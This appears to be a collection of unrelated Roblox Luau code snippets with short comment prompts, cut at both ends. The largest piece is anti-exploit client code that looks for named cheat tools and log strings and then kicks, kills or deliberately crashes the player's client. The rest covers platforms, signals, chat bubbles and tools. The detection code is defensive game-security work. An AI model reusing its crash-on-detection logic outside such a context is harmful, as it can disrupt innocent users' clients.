data.obj = c
data.name = c.Name
data.class = c.ClassName
data.parent = c.Parent
data.path = c:GetFullName()
if c and c.Parent then
local event;
event = c.Parent.ChildRemoved:connect(function(n)
if rawequal(c, n) then
Remote.Fire("AddReplication","Destroyed",c,data)
event:disconnect()
end
end)
wait(5)
if event then
event:disconnect()
end
else
Remote.Fire("AddReplication","Destroyed",c,data)
end
end
end)
end;
NameId = function(data)
local realId = data.RealID
local realName = data.RealName
service.StartLoop("NameIDCheck",10,function()
if service.Player.Name ~= realName then
Detected('log','Local username does not match server username')
end
if service.Player.userId ~= realId then
Detected('log','Local userID does not match server userID')
end
end)
end;
AntiGui = function(data) --// Future
service.Player.DescendantAdded:connect(function(c)
if c:IsA("GuiMain") or c:IsA("PlayerGui") and rawequal(c.Parent, service.PlayerGui) and not UI.Get(c) then
c:Destroy()
Detected("log","Unknown GUI detected and destroyed")
end
end)
end;
AntiTools = function(data)
if service.Player:WaitForChild("Backpack", 120) then
local btools = data.BTools --Remote.Get("Setting","AntiBuildingTools")
local tools = data.AntiTools --Remote.Get("Setting","AntiTools")
local allowed = data.AllowedList --Remote.Get("Setting","AllowedToolsList")
local function check(t)
if (t:IsA("Tool") or t:IsA("HopperBin")) and not t:FindFirstChild(Variables.CodeName) then
if client.AntiBuildingTools and t:IsA("HopperBin") and (rawequal(t.BinType, Enum.BinType.Grab) or rawequal(t.BinType, Enum.BinType.Clone) or rawequal(t.BinType, Enum.BinType.Hammer) or rawequal(t.BinType, Enum.BinType.GameTool)) then
t.Active = false
t:Destroy()
Detected("log","Building tools detected")
end
if tools then
local good = false
for i,v in pairs(client.AllowedToolsList) do
if t.Name==v then
good = true
end
end
if not good then
t:Destroy()
Detected("log","Tool detected")
end
end
end
end
for i,t in pairs(service.Player.Backpack:children()) do
check(t)
end
service.Player.Backpack.ChildAdded:connect(check)
end
end;
--[[
CheatEngineFinder = function(data)
for i,v in pairs(service.LogService:GetLogHistory()) do
for k,m in pairs(v) do
if type(m)=='string' and m:lower():find('program files') and m:lower():find('cheat engine') and m:lower():find('failed to resolve texture format') then
Detected('kick','Cheat Engine installation detected.')
end
end
end
end;
--]]
HumanoidState = function(data)
wait(1)
local humanoid = service.Player.Character:WaitForChild("Humanoid")
local event
local doing = true
event = humanoid.StateChanged:connect(function(old,new)
if not doing then event:disconnect() end
if rawequal(new, Enum.HumanoidStateType.StrafingNoPhysics) and doing then
doing = false
Detected("kill","Noclipping")
event:disconnect()
end
end)
while humanoid and humanoid.Parent and humanoid.Parent.Parent and doing and wait(0.1) do
if rawequal(humanoid:GetState(), Enum.HumanoidStateType.StrafingNoPhysics) and doing then
doing = false
Detected("kill","Noclipping")
end
end
end;
Paranoid = function(data)
wait(1)
local char = service.Player.Character
local torso = char:WaitForChild("Head")
local humPart = char:WaitForChild("HumanoidRootPart")
local hum = char:WaitForChild("Humanoid")
while torso and humPart and rawequal(torso.Parent, char) and rawequal(humPart.Parent, char) and char.Parent ~= nil and hum.Health>0 and hum and hum.Parent and wait(1) do
if (humPart.Position-torso.Position).magnitude>10 and hum and hum.Health>0 then
Detected("kill","HumanoidRootPart too far from Torso (Paranoid?)")
end
end
end;
MainDetection = function(data)
local game = service.DataModel
local isStudio = select(2, pcall(service.RunService.IsStudio, service.RunService))
local findService = service.DataModel.FindService
local lastUpdate = tick()
local doingCrash = false
local goodCores = {}
local gettingGood = false
local gettingMenu = false
local menuOpened = false
local gotGoodTime = tick()
local coreNums = {}
local coreClears = {
FriendStatus = true;
ImageButton = false;
ButtonHoverText = true;
HoverMid = true;
HoverLeft = true;
HoverRight = true;
ButtonHoverTextLabel = true;
Icon = true;
ImageLabel = true;
NameLabel = true;
Players = true;
ColumnValue = true;
ColumnName = true;
Frame = false;
StatText = false;
}
local lookFor = {
--'stigma';
--'sevenscript';
--"a".."ssh".."ax";
--"a".."ssh".."urt";
--'elysian';
'current identity is 0';
'gui made by kujo';
"tetanus reloaded hooked";
--"brackhub";
}
local files = {
["C:\RC7\rc7.dat"] = true;
}
local function check(Message)
for i,v in pairs(lookFor) do
if string.find(string.lower(Message),string.lower(v)) and not string.find(string.lower(Message),"failed to load") then
return true
end
end
end
local function findLog(msg)
for i,v in pairs(service.LogService:GetLogHistory()) do
if string.find(string.lower(v.message),string.lower(msg)) then
return true
end
end
end
local function findFiles()
local image = service.New("Decal",service.Workspace)
for i,v in next,files do
image.Texture = i;
wait(0.5)
if findLog(i) then
else
--// Detected
warn("RC7 DETECTION WORKED?")
end
end
end
local function isGood(item)
for i,v in next,goodCores do
if rawequal(item, v) then
return true
end
end
end
local function checkServ(c) if not pcall(function()
if not isStudio and (findService("ServerStorage", game) or findService("ServerScriptService", game)) then
Detected("crash","Disallowed Services Detected")
end
end) then Detected("kick","Finding Error") end end
local function chkObj(item)
local coreNav = service.GuiService.CoreGuiNavigationEnabled
service.GuiService.CoreGuiNavigationEnabled = false
if Anti.ObjRLocked(item) and not service.GuiService:IsTenFootInterface() then
local cont = true
local ran,err = pcall(function()
local checks = {
service.Chat;
service.Teams;
service.Lighting;
service.StarterGui;
service.TestService;
service.StarterPack;
service.StarterPlayer;
service.JointsService;
service.InsertService;
service.ReplicatedStorage;
service.ReplicatedFirst;
service.SoundService;
service.HttpService;
service.Workspace;
service.Players;
}
for i,v in next,checks do
if item:IsDescendantOf(v) then cont = false end
end
end)
if cont then
local cont = false
local class = Anti.GetClassName(item)
local name = tostring(item)
local checks = {
"Script";
"LocalScript";
"CoreScript";
"ScreenGui";
"Frame";
"TextLabel";
"TextButton";
"ImageLabel";
"TextBox";
"ImageButton";
"GuiMain";
}
if class then
if class == "LocalScript" then
return true
end
for i,v in next,checks do
if rawequal(class, v) then
cont = true
end
end
--[[
Menu:
FriendStatus - TextButton;
EVERY SINGLE MENU GUI ON CLICK FFS
Reset:
ImageButton - ImageButton
ButtonHoverText - Frame
HoverMid - ImageLabel
HoverLeft - ImageLabel
HoverRight - ImageLabel
ButtonHoverTextLabel - TextLabel
PlayerList:
Icon - ImageLabel;
ImageLabel - ImageLabel;
NameLabel - TextLabel;
Players - Frame;
ColumnValue - TextLabel;
ColumnName - TextLabel;
Frame - Frame;
StatText - TextLabel;
]]--
end
if not true and cont and menuOpened == false then
local players = 0
local leaderstats = {}
local totStats = 0
local teams = 0
local total = 0
for i,v in pairs(service.Players:GetChildren()) do
if v:IsA("Player") then
players = players+1
local stats = v:FindFirstChild("leaderstats")
if stats then
for k,m in pairs(stats:GetChildren()) do
if not leaderstats[m.Name] then
leaderstats[m.Name] = 0
end
leaderstats[m.Name] = leaderstats[m.Name]+1
end
end
end
end
for i,v in pairs(leaderstats) do
totStats = totStats+1
end
for i,v in pairs(service.Teams:GetChildren()) do
if v:IsA("Team") then
teams = teams+1
end
end
total = (teams+players+((teams+players)*totStats)+totStats)-1
if not coreNums[name] then coreNums[name] = 0 end
coreNums[name] = coreNums[name]+1
print(name.." : "..class.." : "..coreNums[name])
print(total)
--[[
if name == "FriendStatus" and coreNums.FriendStatus > players then
print("FRIEND STATUS EXCEEDED PLAYER COUNT")
elseif name == "Icon" and coreNums.Icon > players then
print("ICON EXCEEDED PLAYER COUNT")
elseif name == "ColumnValue" and coreNums.ColoumnValue > totPlayerItems then
print("COLUMN VALUE EXCEEDS PLAYER ITEMS COUNT")
elseif name == "ColumnName" and coreNums.ColumnName > totPlayerItems then
print("COLUMN NAME EXCEEDS PLAYER ITEMS COUNT")
elseif name == "NameLabel" and coreNums.NameLabel > totPlayerItems then
print("NAME LABEL EXCEEDS PLAYER ITEMS COUNT")
end--]]
if menuOpen or (gettingGood or (gettingMenu and (name == "FriendStatus" and class == "TextButton"))) then
table.insert(goodCores,item)
elseif not isGood(item) then
--print("-------------------------------")
--print("FOUND NAME: "..tostring(item))
--print("FOUND CLASS: "..tostring(class))
--print("FOUND TYPE: "..tostring(type(item)))
--print("FOUND TYPEOF: "..tostring(type(item)))
--print("-------------------------------")
local testName = tostring(math.random()..math.random())
local ye,err = pcall(function()
service.GuiService:AddSelectionParent(testName, item) -- Christbru figured out the detection method
service.GuiService:RemoveSelectionGroup(testName)
end)
--print(ye,err)
if err and string.find(err,testName) and string.find(err,"GuiService:") then return true end
wait(0.5)
for i,v in next,service.LogService:GetLogHistory() do
if string.find(v.message,testName) and string.find(v.message,"GuiService:") then
return true
end
end--]]
end
end
end
end
service.GuiService.CoreGuiNavigationEnabled = coreNav
end
local function checkTool(t)
if (t:IsA("Tool") or t:IsA("HopperBin")) and not t:FindFirstChild(Variables.CodeName) and service.Player:FindFirstChild("Backpack") and t:IsDescendantOf(service.Player.Backpack) then
if t:IsA("HopperBin") and (rawequal(t.BinType, Enum.BinType.Grab) or rawequal(t.BinType, Enum.BinType.Clone) or rawequal(t.BinType, Enum.BinType.Hammer) or rawequal(t.BinType, Enum.BinType.GameTool)) then
Detected("log","Building tools detected; "..tostring(t.BinType))
end
end
end
checkServ()
service.DataModel.ChildAdded:connect(checkServ)
--service.Player.DescendantAdded:connect(checkTool)
service.Players.PlayerAdded:connect(function(p)
gotGoodTime = tick()
end)
service.Events.CharacterRemoving:connect(function()
for i,v in next,coreNums do
if coreClears[i] then
coreNums[i] = 0
end
end
--[[
gettingGood = true
wait()
gettingGood = false--]]
end)
service.GuiService.MenuClosed:connect(function()
menuOpen = false
end)
service.GuiService.MenuOpened:connect(function()
menuOpen = true
end)
service.ScriptContext.ChildAdded:connect(function(child)
if Anti.GetClassName(child) == "LocalScript" then
Detected("kick","Localscript Detected; "..tostring(child))
end
end)
service.ReplicatedFirst.ChildAdded:connect(function(child)
if Anti.GetClassName(child) == "LocalScript" then
Detected("kick","Localscript Detected; "..tostring(child))
end
end)
service.LogService.MessageOut:connect(function(Message, Type)
if check(Message) then
Detected('crash','Exploit detected; '..Message)
end
end)
service.Selection.SelectionChanged:connect(function()
Detected('kick','Selection changed')
end)
service.ScriptContext.Error:Connect(function(Message, Trace, Script)
if Script and tostring(Script)=='tpircsnaisyle'then
Detected("kick","Elysian")
elseif (not Script or ((not Trace or Trace == ""))) then
local tab = service.LogService:GetLogHistory()
local continue = false
if Script then
for i,v in next,tab do
if v.message == Message and tab[i+1] and tab[i+1].message == Trace then
continue = true
end
end
else
continue = true
end
if continue then
if string.find(tostring(Trace),"CoreGui") or string.find(tostring(Trace),"PlayerScripts") or string.find(tostring(Trace),"Animation_Scripts") or string.match(tostring(Trace),"^(%S*)%.(%S*)") then
return
else
Detected("log","Traceless/Scriptless error")
end
end
end
end)
service.NetworkClient.ChildRemoved:connect(function(child)
wait(30)
client.Kill("Client disconnected from server")
end)
service.RunService.Stepped:connect(function()
lastUpdate = tick()
end)
--[[game.DescendantAdded:connect(function(c)
if chkObj(c) and type(c)=="userdata" and not doingCrash then
doingCrash = true
--print("OK WE DETECTED THINGS")
Detected("crash","New CoreGui Object; "..tostring(c))
end
end)--]]
if service.Player:WaitForChild("Backpack", 120) then
service.Player.Backpack.ChildAdded:connect(checkTool)
end
--// Detection Loop
service.StartLoop("Detection",10,function()
--// Prevent event stopping
if tick()-lastUpdate > 60 then
Detected("crash","Events stopped")
end
--// Check player parent
if service.Player.Parent ~= service.Players then
Detected("crash","Parent not players")
end
--// Stuff
local ran,err = pcall(function() service.ScriptContext.Name = "ScriptContext" end)
if not ran then
Detected("log","ScriptContext error?")
end
--// Check Log History
for i,v in next,service.LogService:GetLogHistory() do
if check(v.message) then
Detected('crash','Exploit detected')
end
end
--// Check Loadstring
local ran,err = pcall(function()
local func,err = loadstring("print('LOADSTRING TEST')")
end)
if ran then
Detected('crash','Exploit detected; Loadstring usable')
end
--// Check Context Level
local ran,err = pcall(function()
local test = Instance.new("StringValue")
test.RobloxLocked = true
end)
if ran then
Detected('crash','RobloxLocked usable')
end
end)
end;
AntiDeleteTool = function(data)
local name = math.random(1000,999999).."b"
local part = client.Deps.AntiDelete:Clone() --service.New("Part")
part.Name = name
part.CanCollide = false
part.Anchored = true
part.Size = Vector3.new(3,3,3)--Vector3.new(1000,1000,0.1)
part.CFrame = workspace.CurrentCamera.CoordinateFrame
part.Parent = workspace.CurrentCamera
part.Transparency = 1
local cam
local event
local function doEvent()
cam = workspace.CurrentCamera
cam.Changed:connect(function(p)
if cam.Parent~=service.Workspace then
doEvent()
end
end)
cam.ChildRemoved:connect(function(c)
if (c==part or not part or not part.Parent or part.Parent~=workspace.CurrentCamera) then
part = client.Deps.AntiDelete:Clone() --service.New("Part")
part.Name = name
part.CanCollide = false
part.Anchored = true
part.Size = Vector3.new(3,3,3)--Vector3.new(1000,1000,0.1)
part.CFrame = workspace.CurrentCamera.CoordinateFrame
part.Parent = workspace.CurrentCamera
part.Transparency = 1
Detected("log","Attempting to Delete")
end
end)
end
doEvent()
service.StartLoop("AntiDeleteTool","RenderStepped",function()
local part = service.Workspace.CurrentCamera:FindFirstChild(name)
if part then
part.CFrame = service.Workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(0,1.5,0)--*CFrame.new(0,0,-0.8)
end
end)
end;
AntiGod = function(data)
local humanoid = service.Player.Character:WaitForChild('Humanoid')
local bob = true service.Player.Character.Humanoid.Died:connect(function() bob=false end)
local moos
moos = service.Player.Character.Humanoid.Changed:connect(function(c)
if not bob or humanoid == nil then moos:disconnect() return end
if tostring(service.Player.Character.Humanoid.Health)=="-1.#IND" then
Detected('kill','Infinite Health [Godded]')
end
end)
service.Player.Character.Humanoid.Health=service.Player.Character.Humanoid.Health-1
end;
}, false, true)
local Launch = function(mode,data)
if Anti.Detectors[mode] and service.NetworkClient then
Anti.Detectors[mode](data)
end
end;
Anti = service.ReadOnly({
LastChanges = {
Lighting = {};
};
Init = Init;
Launch = Launch;
Detected = Detected;
Detectors = Detectors;
GetClassName = function(obj)
local testName = tostring(math.random()..math.random())
local ran,err = pcall(function()
local test = obj[testName]
end)
if err then
local class = string.match(err,testName.." is not a valid member of (.*)")
if class then
return class
end
end
end;
RLocked = function(obj)
return not pcall(function() return obj.GetFullName(obj) end)
--[[local ran,err = pcall(function() service.New("StringValue", obj):Destroy() end)
if ran then
return false
else
return true
end--]]
end;
ObjRLocked = function(obj)
return not pcall(function() return obj.GetFullName(obj) end)
--[[local ran,err = pcall(function() obj.Parent = obj.Parent end)
if ran then
return false
else
return true
end--]]
end;
CoreRLocked = function(obj)
local testName = tostring(math.random()..math.random())
local ye,err = pcall(function()
game:GetService("GuiService"):AddSelectionParent(testName, obj)
game:GetService("GuiService"):RemoveSelectionGroup(testName)
end)
if err and string.find(err, testName) and string.find(err, "GuiService:") then
return true
else
wait(0.5)
for i,v in next,service.LogService:GetLogHistory() do
if string.find(v.message,testName) and string.find(v.message,"GuiService:") then
return true
end
end
end
end;
}, false, true)
client.Anti = Anti
do
local meta = service.MetaFunc
local track = meta(service.TrackTask)
local loop = meta(service.StartLoop)
local opcall = meta(pcall)
local oWait = meta(wait)
local resume = meta(coroutine.resume)
local create = meta(coroutine.create)
local tick = meta(tick)
local loopAlive = tick()
local otostring = meta(tostring)
track("Thread: TableCheck", meta(function()
while oWait(1) do
loopAlive = tick()
local ran, core, remote, functions, anti, send, get, detected, disconnect, kill = coroutine.resume(coroutine.create(function() return client.Core, client.Remote, client.Functions, client.Anti, client.Remote.Send, client.Remote.Get, client.Anti.Detected, client.Disconnect, client.Kill end))
if not ran or core ~= Core or remote ~= Remote or functions ~= Functions or anti ~= Anti or send ~= Send or get ~= Get or detected ~= Detected or disconnect ~= Disconnect or kill ~= Kill then
opcall(Detected, "crash", "Tamper Protection 10042")
oWait(1)
opcall(Disconnect, "Adonis_10042")
opcall(Kill, "Adonis_10042")
opcall(Kick, Player, "Adonis_10042")
--pcall(function() while true do end end)
end
end
end))
--[[
loop("Thread: CheckLoop", "Stepped", meta(function()
local ran,ret = resume(create(function() return tick()-loopAlive end))
if not ran or not ret or ret > 5 then
opcall(Detected, "crash", "Tamper Protection 10043")
oWait(1)
opcall(Disconnect, "Adonis_10043")
opcall(Kill, "Adonis_10043")
opcall(Kick, Player, "Adonis_10043")
end
end), true)--]]
end
end
|
-- I want a more efficient method of sorting the destinations.
|
if hideDestinationBlocks == true then
for index, value in pairs(sortedList) do
local destinationBlock = mainFolder:FindFirstChild(sortedList[index]) -- The sorted list only contains names.
destinationBlock:ClearAllChildren()
destinationBlock.Transparency = 1
end
end
alignPosition.MaxVelocity = topSpeed
platform.Anchored = false
while true do -- The moving platform can now endlessly go through the sorted list in order
for index, value in pairs(sortedList) do
local destinationBlock = mainFolder:FindFirstChild(sortedList[index])
alignPosition.Position = destinationBlock.Position
wait(moveDelay)
end
end
|
-- Implement Signal:Once() in terms of a connection which disconnects
-- itself before running the handler.
|
function Signal:Once(fn)
local cn;
cn = self:Connect(function(...)
if cn._connected then
cn:Disconnect()
end
fn(...)
end)
return cn
end
Signal.Destroy = Signal.DisconnectAll
|
--///////////////////////// Constructors
--//////////////////////////////////////
|
function module.new()
local obj = setmetatable({}, methods)
obj.ObjectPool = moduleObjectPool.new(OBJECT_POOL_SIZE)
obj.MessageCreators = GetMessageCreators()
obj.DefaultCreatorType = messageCreatorUtil.DEFAULT_MESSAGE_CREATOR
messageCreatorUtil:RegisterObjectPool(obj.ObjectPool)
return obj
end
function module:RegisterGuiRoot(root)
messageCreatorUtil:RegisterGuiRoot(root)
end
function module:GetStringTextBounds(text, font, textSize, sizeBounds)
return messageCreatorUtil:GetStringTextBounds(text, font, textSize, sizeBounds)
end
return module
|
----------------------------------------------------------------------
--------------------[ RESET CAMERA ]----------------------------------
----------------------------------------------------------------------
|
Gun.ChildRemoved:connect(function(Child)
if Child == Handle and Plyr.Value then
local ignoreCode = Gun:WaitForChild("clientMain"):WaitForChild("ignoreCode").Value
local resetCam = script:WaitForChild("resetCam")
resetCam:WaitForChild("ignoreCode").Value = ignoreCode
resetCam.Parent = Plyr.Value.PlayerGui
end
end)
|
--- Emulates tabstops with spaces
|
function Util.EmulateTabstops(text, tabWidth)
local column = 0
local textLength = #text
local result = table.create(textLength)
for i = 1, textLength do
local char = string.sub(text, i, i)
if char == "\t" then
local spaces = tabWidth - column % tabWidth
table.insert(result, string.rep(" ", spaces))
column += spaces
else
table.insert(result, char)
if char == "\n" then
column = 0 -- Reset column counter on newlines
elseif char ~= "\r" then
column += 1
end
end
end
return table.concat(result)
end
function Util.Mutex()
local queue = {}
local locked = false
return function ()
if locked then
table.insert(queue, coroutine.running())
coroutine.yield()
else
locked = true
end
return function()
if #queue > 0 then
coroutine.resume(table.remove(queue, 1))
else
locked = false
end
end
end
end
return Util
|
-- ANimation
|
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 2
plr.PlayerGui:WaitForChild("Skill_list"):FindFirstChild(script.Name).FrameZ.Visible = true
Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
Track1:Play()
script.RemoteEventS:FireServer()
for i = 1,math.huge do
if Debounce == 2 then
plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
plr.Character.HumanoidRootPart.Anchored = true
else
break
end
wait()
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.Z and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 3
plr.PlayerGui:WaitForChild("Skill_list"):FindFirstChild(script.Name).FrameZ.LocalScript.Enable.Value = true
local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
Track2:Play()
Track1:Stop()
Sound:Play()
local mousepos = Mouse.Hit
script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
local camera = game.Workspace.CurrentCamera
local CameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camshake = CameraShaker.new(Enum.RenderPriority.Camera.Value,function(shakeCFrame)
camera.CFrame = camera.CFrame * shakeCFrame
end)
camshake:Start()
camshake:Shake(CameraShaker.Presets.Explosion)
wait(0)
debouce = false
wait(1)
Track2:Stop()
plr.Character.HumanoidRootPart.Anchored = false
wait(.5)
Tool.Active.Value = "None"
wait(5)
Debounce = 1
end
end)
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.Shuriken -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
-- init chat bubble tables
|
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)
this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)
this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)
this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)
end
initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15))
initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33))
function this:SanitizeChatLine(msg)
if getMessageLength(msg) > MaxChatMessageLengthExclusive then
local byteOffset = utf8.offset(msg, MaxChatMessageLengthExclusive + getMessageLength(ELIPSES) + 1) - 1
return string.sub(msg, 1, byteOffset)
else
return msg
end
end
local function createBillboardInstance(adornee)
local billboardGui = Instance.new("BillboardGui")
billboardGui.Adornee = adornee
billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, 1.5, 2)
billboardGui.Parent = BubbleChatScreenGui
local billboardFrame = Instance.new("Frame")
billboardFrame.Name = "BillboardFrame"
billboardFrame.Size = UDim2.new(1,0,1,0)
billboardFrame.Position = UDim2.new(0,0,-0.5,0)
billboardFrame.BackgroundTransparency = 1
billboardFrame.Parent = billboardGui
local billboardChildRemovedCon = nil
billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()
if #billboardFrame:GetChildren() <= 1 then
billboardChildRemovedCon:disconnect()
billboardGui:Destroy()
end
end)
this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame
return billboardGui
end
function this:CreateBillboardGuiHelper(instance, onlyCharacter)
if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
if not onlyCharacter then
if instance:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(instance)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
return
end
end
if instance:IsA("Model") then
local head = instance:FindFirstChild("Head")
if head and head:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(head)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
end
end
end
end
local function distanceToBubbleOrigin(origin)
if not origin then return 100000 end
return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
end
local function isPartOfLocalPlayer(adornee)
if adornee and PlayersService.LocalPlayer.Character then
return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)
end
end
function this:SetBillboardLODNear(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = true
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = false
end
function this:SetBillboardLODDistant(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(4,0,3,0)
billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = false
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = true
end
function this:SetBillboardLODVeryFar(billboardGui)
billboardGui.Enabled = false
end
function this:SetBillboardGuiLOD(billboardGui, origin)
if not origin then return end
if origin:IsA("Model") then
local head = origin:FindFirstChild("Head")
if not head then origin = origin.PrimaryPart
else origin = head end
end
local bubbleDistance = distanceToBubbleOrigin(origin)
if bubbleDistance < NEAR_BUBBLE_DISTANCE then
this:SetBillboardLODNear(billboardGui)
elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then
this:SetBillboardLODDistant(billboardGui)
else
this:SetBillboardLODVeryFar(billboardGui)
end
end
function this:CameraCFrameChanged()
for index, value in pairs(this.CharacterSortedMsg:GetData()) do
local playerBillboardGui = value["BillboardGui"]
if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end
end
end
function this:CreateBubbleText(message, shouldAutoLocalize)
local bubbleText = Instance.new("TextLabel")
bubbleText.Name = "BubbleText"
bubbleText.BackgroundTransparency = 1
bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0)
bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0)
bubbleText.Font = CHAT_BUBBLE_FONT
bubbleText.ClipsDescendants = true
bubbleText.TextWrapped = true
bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE
bubbleText.Text = message
bubbleText.Visible = false
bubbleText.AutoLocalize = shouldAutoLocalize
return bubbleText
end
function this:CreateSmallTalkBubble(chatBubbleType)
local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()
smallTalkBubble.Name = "SmallTalkBubble"
smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)
smallTalkBubble.Position = UDim2.new(0,0,0.5,0)
smallTalkBubble.Visible = false
local text = this:CreateBubbleText("...")
text.TextScaled = true
text.TextWrapped = false
text.Visible = true
text.Parent = smallTalkBubble
return smallTalkBubble
end
function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)
local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo
local bubbleQueueSize = bubbleQueue:Size()
local bubbleQueueData = bubbleQueue:GetData()
if #bubbleQueueData <= 1 then return end
for index = (#bubbleQueueData - 1), 1, -1 do
local value = bubbleQueueData[index]
local bubble = value.RenderBubble
if not bubble then return end
local bubblePos = bubbleQueueSize - index + 1
if bubblePos > 1 then
local tail = bubble:FindFirstChild("ChatBubbleTail")
if tail then tail:Destroy() end
local bubbleText = bubble:FindFirstChild("BubbleText")
if bubbleText then bubbleText.TextTransparency = 0.5 end
end
local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,
1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT )
bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)
currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT
end
end
function this:DestroyBubble(bubbleQueue, bubbleToDestroy)
if not bubbleQueue then return end
if bubbleQueue:Empty() then return end
local bubble = bubbleQueue:Front().RenderBubble
if not bubble then
bubbleQueue:PopFront()
return
end
spawn(function()
while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do
wait()
end
bubble = bubbleQueue:Front().RenderBubble
local timeBetween = 0
local bubbleText = bubble:FindFirstChild("BubbleText")
local bubbleTail = bubble:FindFirstChild("ChatBubbleTail")
while bubble and bubble.ImageTransparency < 1 do
timeBetween = wait()
if bubble then
local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED
bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount
if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end
if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end
end
end
if bubble then
bubble:Destroy()
bubbleQueue:PopFront()
end
end)
end
function this:CreateChatLineRender(instance, line, onlyCharacter, fifo, shouldAutoLocalize)
if not instance then return end
if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
this:CreateBillboardGuiHelper(instance, onlyCharacter)
end
local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"]
if billboardGui then
local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()
chatBubbleRender.Visible = false
local bubbleText = this:CreateBubbleText(line.Message, shouldAutoLocalize)
bubbleText.Parent = chatBubbleRender
chatBubbleRender.Parent = billboardGui.BillboardFrame
line.RenderBubble = chatBubbleRender
local currentTextBounds = TextService:GetTextSize(
